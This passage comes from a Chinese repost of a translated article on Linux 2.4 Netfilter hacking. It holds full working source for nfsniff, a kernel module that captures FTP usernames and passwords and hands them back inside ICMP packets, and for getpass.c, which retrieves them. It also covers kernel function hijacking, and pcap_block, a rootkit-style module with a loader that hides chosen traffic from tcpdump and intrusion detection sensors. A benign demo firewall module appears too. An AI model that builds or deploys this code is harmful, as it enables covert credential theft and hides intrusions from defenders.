    memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
    break;
   }
  };

  
  cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
  memcpy(cp_data, &target_ip, 4);
  if (username)
   memcpy(cp_data + 4, username, 16);
  if (password)
   memcpy(cp_data + 20, password, 16);
   
  
  dev_queue_xmit(sb);

  
  kfree(username);
  kfree(password);
  username = password = NULL;
  have_pair = 0;
   
  target_port = target_ip = 0;

//  printk("Password retrieved\n");
   
  return NF_STOLEN;
}

int init_module()
{
  pre_hook.hook   = watch_in;
  pre_hook.pf    = PF_INET;
  pre_hook.priority = NF_IP_PRI_FIRST;
  pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
  post_hook.hook   = watch_out;
  post_hook.pf    = PF_INET;
  post_hook.priority = NF_IP_PRI_FIRST;
  post_hook.hooknum  = NF_IP_POST_ROUTING;
   
  nf_register_hook(&pre_hook);
  nf_register_hook(&post_hook);
   
  return 0;
}

void cleanup_module()
{
  nf_unregister_hook(&post_hook);
  nf_unregister_hook(&pre_hook);
   
  if (password)
   kfree(password);
  if (username)
   kfree(username);
}
<-->

------[ 5.2.2 - 源代码 : getpass.c

<++> nfsniff/getpass.c

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef __USE_BSD
# define __USE_BSD        
#endif
# include 
#include 

static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
   unsigned char dgram[256];      
   unsigned char recvbuff[256];
   struct ip *iphead = (struct ip *)dgram;
   struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
   struct sockaddr_in src;
   struct sockaddr_in addr;
   struct in_addr my_addr;
   struct in_addr serv_addr;
   socklen_t src_addr_size = sizeof(struct sockaddr_in);
   int icmp_sock = 0;
   int one = 1;
   int *ptr_one = &one;
   
   if (argc < 3) {
   fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
   exit(1);
   }

   
   if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
   fprintf(stderr, "Couldn‘t open raw socket! %s\n",
     strerror(errno));
   exit(1);
   }

   
   if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
      ptr_one, sizeof(one)) < 0) {
   close(icmp_sock);
   fprintf(stderr, "Couldn‘t set HDRINCL option! %s\n",
       strerror(errno));
   exit(1);
   }
   
   addr.sin_family = AF_INET;
   addr.sin_addr.s_addr = inet_addr(argv[1]);
   
   my_addr.s_addr = inet_addr(argv[2]);
   
   memset(dgram, 0x00, 256);
   memset(recvbuff, 0x00, 256);
   
   
   iphead->ip_hl  = 5;
   iphead->ip_v  = 4;
   iphead->ip_tos = 0;
   iphead->ip_len = 84;
   iphead->ip_id  = (unsigned short)rand();
   iphead->ip_off = 0;
   iphead->ip_ttl = 128;
   iphead->ip_p  = IPPROTO_ICMP;
   iphead->ip_sum = 0;
   iphead->ip_src = my_addr;
   iphead->ip_dst = addr.sin_addr;
   
   
   icmphead->icmp_type = ICMP_ECHO;
   icmphead->icmp_code = 0x5B;
   icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
   
   
   fprintf(stdout, "Sending request...\n");
   if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
      sizeof(struct sockaddr)) < 0) {
   fprintf(stderr, "\nFailed sending request! %s\n",
     strerror(errno));
   return 0;
   }

   fprintf(stdout, "Waiting for reply...\n");
   if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
     &src_addr_size) < 0) {
   fprintf(stdout, "Failed getting reply packet! %s\n",
     strerror(errno));
   close(icmp_sock);
   exit(1);
   }
   
   iphead = (struct ip *)recvbuff;
   icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
   memcpy(&serv_addr, ((char *)icmphead + 8),
      sizeof (struct in_addr));
   
   fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
   fprintf(stdout, "Username:   %s\n",
     (char *)((char *)icmphead + 12));
   fprintf(stdout, "Password:   %s\n",
     (char *)((char *)icmphead + 28));
   
   close(icmp_sock);
   
   return 0;
}

static unsigned short checksum(int numwords, unsigned short *buff)
{
  unsigned long sum;
   
  for(sum = 0;numwords > 0;numwords--)
   sum += *buff++;  
   
  sum = (sum >> 16) + (sum & 0xFFFF);
  sum += (sum >> 16);
   
  return ~sum;
}
<-->

   ** 译注:上述两个文件的Makefile:

<++> nfsniff/Makefile
#Makefile                        
#                            
                             
CFLAGS=-Wall                       
LIBS=-L/usr/lib -lc
# Change include directory for your kernel                   
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include 
MODULE_CFLAGS+=$(CFLAGS)                 
EXECUTE_CFLAGS=-ggdb                   
EXECUTE_CFLAGS+=$(CFLAGS)                
                             
all : nfsniff.o getpass                 
nfsniff.o : nfsniff.c                  
     gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
     ld -r -o nfsniff.o nfsniff~.o $(LIBS)      
getpass.o : getpass.c                  
     gcc -c getpass.c $(EXECUTE_CFLAGS)        
getpass : getpass.o                   
     gcc -o getpass getpass.o $(EXECUTE_CFLAGS)    
clean :                         
     rm -f *.o getpass                
<-->

   **译注完
   

--[ 6 - 在Libpcap中隐藏网络通信

   这一节简短的描述,如何在修改Linux的内核,使与匹配预先定义的条件的网络通信对运行于本机的数据包嗅探工具不可见。列在本文最后的是可以正常运行的代码,它实现了隐藏所有来自或者是去往指定的IP地址的数据包的功能。好了,让我们开始...
   
----[ 6.1 - SOCK_PACKET、SOCK_RAW与Libpcap

   对系统管理员来说,最有用的软件莫过于哪些在广义分类下被称为“数据包嗅探器”的软件了。两个最典型的通用数据包嗅探器是 tcpdump(1)以及ethereal(1)。这两个软件都利用了Libpcap库(随着参考文献[1]中的tcpdump发布)来抓取原始数据包。 网络入侵检测系统(NIDS)也利用了Libpcap库。SNORT需要Libpcap,Libnids??一个提供IP重组和TCP流跟踪的NIDS开 发库(参见参考文献[2]),也是如此。
   
   在Linux系统下,Libpcap库使用SOCK_PACKET接口。Packet套接字是一种特殊的套接字,它可以用于发生和接收链路层 的原始数据包。关于Paket套接字有很多话题,但是由于本节讨论的是关于如何隐藏它们而不是如何利用它们,感兴趣的读者可以直接去看packet(7) 手册页。对于本文中的讨论,只需要理解packet套接字被Libpcap应用程序用于获取进入或者离开本地主机的原始数据包。
   
   当核心网络堆栈收到一个数据包的时候,检查该数据包是否是某个packet套接字感兴趣的数据包。如果是,则将该数据递交给那些对其感兴趣的 套接字。如果不是,该数据包继续它的旅程,进入TCP、UDP或者其它类型的套接字。对于SOCK_RAW类型的套接字同样如此。原始套接字很类似于 packet套接字,只是原始套接字不提供链路层的包头。一个利用原始套接字的实用程序的例子是我的SYNalert程序,参见参考文献[3](请原谅我 在这儿插入的题外话 :)。
   
   到此,你应该已经了解了Linux下的数据包嗅探软件使用了Libpcap库。Libpcap在Linux下利用packet套接字接口来获 取包含链路层包头的原始数据包。同时提到了原始套接字,它提供给用户空间的应用程序获取包含IP头的数据包的方法。下一节将讨论如何通过Linux核心模 块来隐藏来自这些packet套接字以及原始套接字的网络通信。
   
   
------[ 6.2 给狼披上羊皮

   当收到数据包并将其送到一个packet套接字时,packet_rcv()函数被调用。这个函数可以在net/packet /af_packet.c中找到,packet_rcv()负责使数据包经过所有应用于目的套接字的套接字过滤器,并最终将其递交到用户空间。为了隐藏来 自packet套接字的数据包,我们需要阻止所有特定数据包调用packet_rcv()函数。我们如何做到这一点?当然是优秀的ol式的函数劫持了。
   
   函数劫持的基本操作是:如果我们知道一个内核函数,甚至是那些没有被导出的函数,的入口地址,我们可以在使实际的代码运行前将这个函数重定位 到其他的位置。为了达到这样的目的,我们首先要从这个函数的开始,保存其原来的指令字节,然后将它们换成跳转到我们的代码处执行的绝对跳转指令。例如以 i386汇编语言实现该操作如下:
   
   movl  (address of our function),  �x
   jmp  *eax

   这些指令的16进制代码如下(假设我们的函数地址为0):
   
   0xb8 0x00 0x00 0x00 0x00
   0xff 0xe0

   如果我们在Linux核心模块的初始化时将上例中的函数地址替换为我们的hook函数的地址,我们就能够使我们的hook函数先运行。当我们想运行原来的函数时,我们只需要在开始时恢复函数原来的指令,调用该函数并且替换我们的劫持代码。简单而有效。Silvio Cesare 不久前写过一篇文章,讲述如何实现内核函数劫持,参见参考文献[4]。
   
   要从packet套接字隐藏数据包,我们首先要写一个hook函数,用于检查数据包是否满足我们隐藏的标准。如果满足,那么我们的hook函 数简单的向它的调用函数返回0,packet_rcv()永远不会被调用。如果packet_rcv()永远不被调用,那么这个数据包也永远都不会递交给 用户空间的packet套接字。注意,只是对于"packet"套接字来说,该数据包被丢弃了。如果我们要过滤送到packet套接字的FTP数据包,那 么FTP服务器的TCP套接字仍然能收到这些数据包。我们所做的一切只是使运行在本机上的嗅探软件无法看到这些数据包。FTP服务器仍然能够处理和记录连 接。
   
   理论上就是这么多,关于原始套接字的用法同理可得。不同的是我们需要hook的是raw_rcv()函数(在net/ipv4/raw.c中 可以找到)。下一节将给出并讨论一个Linux核心模块的示例代码,该代码劫持packet_rcv()函数和raw_rcv()函数,隐藏任何来自或去 往我们指定的IP地址的数据包。
   

--[ 7 - 结束语

   希望你现在至少对Netfilter有了一个初步的了解,如何使用它以及你能用它来做什么。你同样也应当有了一些使特定的网络通信从运行在本 机的嗅探软件中隐藏的知识了。如果你需要本文中涉及的源代码的tar包,请直接给我发email。我同样很乐意接收任何的指正、批评或者建议。好了,把一 切都留给你和你的想象力,来做一些我在这儿展现的有趣的事吧!
   

--[ A - 轻量级防火墙
----[ A.1 - 概述

   轻量级防火墙(LWFW)是一个简单的内核模块,用于演示我们在第4节中涉及的基本的数据包过录技术。LWFW也通过ioctl()系统调用提供了一个控制接口。
   
   由于LWFW的源代码已经有足够的文档了,我在这儿只给出它如何工作的简单概述。当LWFW模块被加载后,它的第一个任务就是尝试注册控制设置。注意在LWFW的ioctl()控制接口可用之前,需要在/dev下创建一个字符设备文件。如果控制设备注册成功,"in use"标志被清除并且对NF_IP_PRE_ROUTE进行hook的函数被注册。清除函数执行相反的操作。
   
   LWFW对数据包丢弃提供三个基本的选项。按照处理的顺序列出如下:
   -- 源接口
   -- 源IP地址
   -- 目的TCP端口
   
   这些规则的设置由ioctl()接口完成。当一个数据包被接收,LWFW按照我们设定的规则进行检查。如果匹配了其中的任意一条规则,那么 hook函数将返回NF_DROP,然后Netfilter将悄无声息的丢弃这个数据包。否则,hook函数返回NF_ACCEPT,数据包将继续它的旅 程。
   
   最后,有必要提一下的是LWFW的统计日志。无论任何时候数据包进入hook函数,LWFW都将收到的数据包的计数累加。单独的规则检查函数 负责增加它们各自的丢弃的数据包的计数。注意,当规则的值被改变时,它的丢弃数据包的计数被重置为0。lwfwstats程序利用 LWFW_GET_STATS这个IOCTL来获取统计数据结构的一个副本并显示其内容。
   

----[ A.2 - 源代码 : lwfw.c

<++> lwfw/lwfw.c

#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 

#include "lwfw.h"

static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

static int lwfw_ioctl(struct inode *inode, struct file *file,
        unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


static int lwfw_ctrl_in_use = 0;

static int active = 0;

static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
           | LWFW_IP_DENY_ACTIVE
           | LWFW_PORT_DENY_ACTIVE);

static int major = 0;        

struct nf_hook_ops nfkiller;

static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

static char *deny_if = NULL;         
static unsigned int deny_ip = 0x00000000;   
static unsigned short deny_port = 0x0000;  

struct file_operations  lwfw_fops = {
  NULL,
   NULL,
   NULL,
   NULL,
   NULL,
   NULL,
   lwfw_ioctl,
   NULL,
   lwfw_open,
   NULL,
   lwfw_release,
   NULL          
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

unsigned int lwfw_hookfn(unsigned int hooknum,
        struct sk_buff **skb,
        const struct net_device *in,
        const struct net_device *out,
        int (*okfn)(struct sk_buff *))
{
  unsigned int ret = NF_ACCEPT;
   
  
  if (!active)
   return NF_ACCEPT;
   
  lwfw_statistics.total_seen++;
   
  
  if (deny_if && DENY_IF_ACTIVE) {
    if (strcmp(in->name, deny_if) == 0) {  
   lwfw_statistics.if_dropped++;
   lwfw_statistics.total_dropped++;
   return NF_DROP;
    }
  }
   
  
  if (deny_ip && DENY_IP_ACTIVE) {
    ret = check_ip_packet(*skb);
    if (ret != NF_ACCEPT) return ret;
  }
   
  
  if (deny_port && DENY_PORT_ACTIVE) {
    ret = check_tcp_packet(*skb);
    if (ret != NF_ACCEPT) return ret;
  }
   
  return NF_ACCEPT;        
}

static int copy_stats(struct lwfw_stats *statbuff)
{
  NULL_CHECK(statbuff);

  copy_to_user(statbuff, &lwfw_statistics,
     sizeof(struct lwfw_stats));
   
  return 0;
}

static int check_tcp_packet(struct sk_buff *skb)
{
  
  struct tcphdr *thead;
   
  
  if (!skb ) return NF_ACCEPT;
  if (!(skb->nh.iph)) return NF_ACCEPT;

  
  if (skb->nh.iph->protocol != IPPROTO_TCP) {
    return NF_ACCEPT;
  }

  thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
  
  if ((thead->dest) == deny_port) {
    
    lwfw_statistics.total_dropped++;
    lwfw_statistics.tcp_dropped++;
    
    return NF_DROP;
  }
   
  return NF_ACCEPT;
}

static int check_ip_packet(struct sk_buff *skb)
{
  
  if (!skb ) return NF_ACCEPT;
  if (!(skb->nh.iph)) return NF_ACCEPT;
   
  if (skb->nh.iph->saddr == deny_ip) {
    lwfw_statistics.ip_dropped++;   
    lwfw_statistics.total_dropped++;
    
    return NF_DROP;
  }
   
  return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
  int ret = 0;
  char *if_dup;        
   
  
  NULL_CHECK(name);
   
  
  if (deny_if) {
    kfree(deny_if);
    deny_if = NULL;
  }
   
  if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
     == NULL) {
    ret = -ENOMEM;
  } else {
    memset(if_dup, 0x00, strlen((char *)name) + 1);
    memcpy(if_dup, (char *)name, strlen((char *)name));
  }

  deny_if = if_dup;
  lwfw_statistics.if_dropped = 0;   
  printk("LWFW: Set to deny from interface: %s\n", deny_if);
   
  return ret;
}

static int set_ip_rule(unsigned int ip)
{
  deny_ip = ip;
  lwfw_statistics.ip_dropped = 0;   
   
  printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
    ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
    (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
  return 0;
}

static int set_port_rule(unsigned short port)
{
  deny_port = port;
  lwfw_statistics.tcp_dropped = 0;   
   
  printk("LWFW: Set to deny for TCP port: %d\n",
    ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
    
  return 0;
}

static int lwfw_ioctl(struct inode *inode, struct file *file,
        unsigned int cmd, unsigned long arg)
{
  int ret = 0;
   
  switch (cmd) {
   case LWFW_GET_VERS:
    return LWFW_VERS;
   case LWFW_ACTIVATE: {
    active = 1;
    printk("LWFW: Activated.\n");
    if (!deny_if && !deny_ip && !deny_port) {
    printk("LWFW: No deny options set.\n");
    }
    break;
   }
   case LWFW_DEACTIVATE: {
    active ^= active;
    printk("LWFW: Deactivated.\n");
    break;
   }
   case LWFW_GET_STATS: {
    ret = copy_stats((struct lwfw_stats *)arg);
    break;
   }
   case LWFW_DENY_IF: {
    ret = set_if_rule((char *)arg);
    break;
   }
   case LWFW_DENY_IP: {
    ret = set_ip_rule((unsigned int)arg);
    break;
   }
   case LWFW_DENY_PORT: {
    ret = set_port_rule((unsigned short)arg);
    break;
   }
   default:
    ret = -EBADRQC;
  };
   
  return ret;
}

static int lwfw_open(struct inode *inode, struct file *file)
{
  if (lwfw_ctrl_in_use) {
    return -EBUSY;
  } else {
    MOD_INC_USE_COUNT;
    lwfw_ctrl_in_use++;
    return 0;
  }
  return 0;
}

static int lwfw_release(struct inode *inode, struct file *file)
{
  lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
  MOD_DEC_USE_COUNT;
  return 0;
}

int init_module()
{
  
    SET_MODULE_OWNER(&lwfw_fops);
   
  
  if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
         &lwfw_fops)) < 0) {
    printk("LWFW: Failed registering control device!\n");
    printk("LWFW: Module installation aborted.\n");
    return major;
  }
   
  
  lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

  printk("\nLWFW: Control device successfully registered.\n");
   
  
  nfkiller.hook = lwfw_hookfn;
  nfkiller.hooknum = NF_IP_PRE_ROUTING;  
  nfkiller.pf = PF_INET;        
  nfkiller.priority = NF_IP_PRI_FIRST;   
   
  
  nf_register_hook(&nfkiller);
   
  printk("LWFW: Network hooks successfully installed.\n");
   
  printk("LWFW: Module installation successful.\n");
  return 0;
}

void cleanup_module()
{
  int ret;
   
  
  nf_unregister_hook(&nfkiller);

  
  if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
    printk("LWFW: Removal of module failed!\n");
  }

  
  if (deny_if)
   kfree(deny_if);
   
  printk("LWFW: Removal of module successful.\n");
}
<-->


----[ A.3 - 头文件 : lwfw.h

<++> lwfw/lwfw.h

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

# define LWFW_NAME     "lwfw" 

# define LWFW_VERS     0x0001    

#define LWFW_TALKATIVE

#define LWFW_CTRL_SET  0xFEED0000   
#define LWFW_GET_VERS  0xFEED0001   
#define LWFW_ACTIVATE  0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF   0xFEED0005
#define LWFW_DENY_IP   0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

#define LWFW_IF_DENY_ACTIVE  0x00000001
#define LWFW_IP_DENY_ACTIVE  0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

struct lwfw_stats {
  unsigned int if_dropped;      
  unsigned int ip_dropped;      
  unsigned int tcp_dropped;      
  unsigned long total_dropped;  
  unsigned long total_seen;    
};

#ifdef __KERNEL__
# define LWFW_MAJOR    241  

#define NULL_CHECK(ptr)   \
  if ((ptr) == NULL)  return -EINVAL

#define DENY_IF_ACTIVE   (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE   (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif            
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
   $(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
   rm -rf *.o
   rm -rf .

#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include         
#include       

#include         

#define IP   htonl(0x7F000001)

static int (*pr)(struct sk_buff *skb, struct net_device *dev,
      struct packet_type *pt);
MODULE_PARM(pr, "i");    

static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

#define HIJACK_LOCK   spin_lock_irqsave(&hijack_lock, \
             sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
              sl_flags)

#define CODESIZE 10
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                    "\x40\x90\x48"
                    "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                    "\x40\x90\x48"
                    "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

int hacked_pr(struct sk_buff *skb, struct net_device *dev,
      struct packet_type *pt)
{
   int sl_flags;        
   int retval;

   
   if (skb->protocol == htons(ETH_P_IP))  
    if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
   return 0;       
   
   
   HIJACK_LOCK;
   memcpy((char *)pr, pr_orig, CODESIZE);
   retval = pr(skb, dev, pt);
   memcpy((char *)pr, pr_code, CODESIZE);
   HIJACK_UNLOCK;

   return retval;
}

int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
   int sl_flags;        
   int retval;

   
   if (skb->protocol == htons(ETH_P_IP))  
    if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
   return 0;       
   
   
   HIJACK_LOCK;
   memcpy((char *)rr, rr_orig, CODESIZE);
   retval = rr(sock, skb);
   memcpy((char *)rr, rr_code, CODESIZE);
   HIJACK_UNLOCK;

   return retval;
}

int init_module()
{
   int sl_flags;        
   
   
   if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
   printk("Address for packet_rcv() not valid! (x)\n",
      (int)pr);
   return -1;
   }
   if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
   printk("Address for raw_rcv() not valid! (x)\n",
      (int)rr);
   return -1;
   }
      
   *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
   *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
   
   HIJACK_LOCK;
   memcpy(pr_orig, (char *)pr, CODESIZE);
   memcpy((char *)pr, pr_code, CODESIZE);
   memcpy(rr_orig, (char *)rr, CODESIZE);
   memcpy((char *)rr, rr_code, CODESIZE);
   HIJACK_UNLOCK;
   
   EXPORT_NO_SYMBOLS;
   
   return 0;
}

void cleanup_module()
{
   int sl_flags;
   
   lock_kernel();
   
   HIJACK_LOCK;
   memcpy((char *)pr, pr_orig, CODESIZE);
   memcpy((char *)rr, rr_orig, CODESIZE);
   HIJACK_UNLOCK;
   
   unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
     echo "Use: $0 ";
     exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
     PR="00000000"
fi
if [ "$RR" = "" ]; then
     RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
   $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
   rm -rf *.o
   rm -rf ./*~
<-->


------[ 参考文献

该附录包含写本文过程中用到的参考文献的列表。

[1]  The tcpdump group
    http://www.tcpdump.org/
[2]  The Packet Factory
    http://www.packetfactory.net/
[3]  My network tools page -
    http://uqconnect.net/~zzoklan/software/#net_tools
[4]  Silvio Cesare‘s Kernel Function Hijacking article
    http://vx.netlux.org/lib/vsc08.html
[5]  Man pages for:
   - raw (7)
   - packet (7)
   - tcpdump (1)
[6]  Linux kernel source files. In particular:
   - net/packet/af_packet.c   (for  packet_rcv())
   - net/ipv4/raw.c       (for  raw_rcv())
   - net/core/dev.c
   - net/ipv4/netfilter/*
[7] Harald Welte‘s Journey of a packet through the Linux 2.4 network
   stack
   http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
   http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
   http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
   http://www.linuxjournal.com/article.php?sid=4852

转载于:https://my.oschina.net/zhuzihasablog/blog/115652

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值